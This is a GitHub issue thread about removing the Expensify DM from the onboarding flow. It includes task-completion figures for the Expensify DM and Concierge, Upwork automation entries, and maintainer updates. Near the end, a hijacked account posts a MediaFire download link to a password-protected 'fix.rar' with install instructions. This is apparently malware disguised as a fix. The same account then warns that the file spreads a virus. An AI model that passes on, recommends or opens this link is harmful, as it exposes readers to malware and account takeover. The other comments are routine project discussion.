[$250] Remove the Expensify DM from onboarding

[danielrvidal]

Proposal: Remove the Expensify DM from onboarding

Background — we wanted to test if putting tasks in the Expensify DM is more effective than putting the tasks in the Concierge chat. The original goal was to have a WhatsApp style DM that is used for education. Our design has evolved and we have not found the Expensify DM to be more effective than Concierge. Here is a look at the data:

• Expensify DM stats (413 users)
  • % of users who completed tasks: 25%
• Concierge stats (473 users)
  • % of users who completed tasks: 27%

Problem: We could continue to wait for more data but we see no reason it would change AND keeping the Expensify DM has costs:

1. We continue to find bugs with the Expensify DM, it costs us engineering time to maintain two flows and this specific DM.
2. It makes our onboarding/support materials inconsistent, thus leads to confusion internally and for users.

Solution: Remove the Expensify DM so all onboarding tasks live in Concierge going forward. As discussed in this thread, we will leave the Expensify DM in the accounts where it is but we will no longer be creating these DMs going forward.

I'm going to work with @francoisl on this one as he implemented it originally.

Upwork Automation - Do Not Edit

• Upwork Job URL: https://www.upwork.com/jobs/~021831465852515898823
• Upwork Job ID: 1831465852515898823
• Last Price Increase: 2024-09-04

Issue Owner

Current Issue Owner: @fedirjh

[francoisl]

Almost done with frontend changes for this, but switching tasks to another issue for a second.

[francoisl]

Going to briefly mark this external to get a C+ assigned who can help review the PR.

[melvin-bot]

Job added to Upwork: https://www.upwork.com/jobs/~021831465852515898823

[melvin-bot]

Triggered auto assignment to Contributor-plus team member for initial proposal review - @fedirjh (External)

[francoisl]

To clarify, we're not looking for proposals here - this will be handled internally.

[MinecraftEarthVillage]

十分抱歉 ！我的账户在前段时间被黑客盗用，并且传播相同的病毒文件，如果你们遇到要下载一个fix.zip的千万不要下载！就是它导致我账户被攻占的

[francoisl]

Everything is deployed here and there's this issue for payment to @fedirjh, so I think we can close this.

[MinecraftEarthVillage]

下载 https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file 密码：changeme 在安装程序菜单中，选择“gcc”。

不要下载我前段时间发的文件，那不是我发的，是另一个人控制我，如果你使用了这个病毒文件，你也会被控制，并且疯狂转发这个病毒
Don't download the file I sent some time ago, it wasn't me, but another person controlled me. If you use this virus file, you will also be controlled and forward this virus crazily.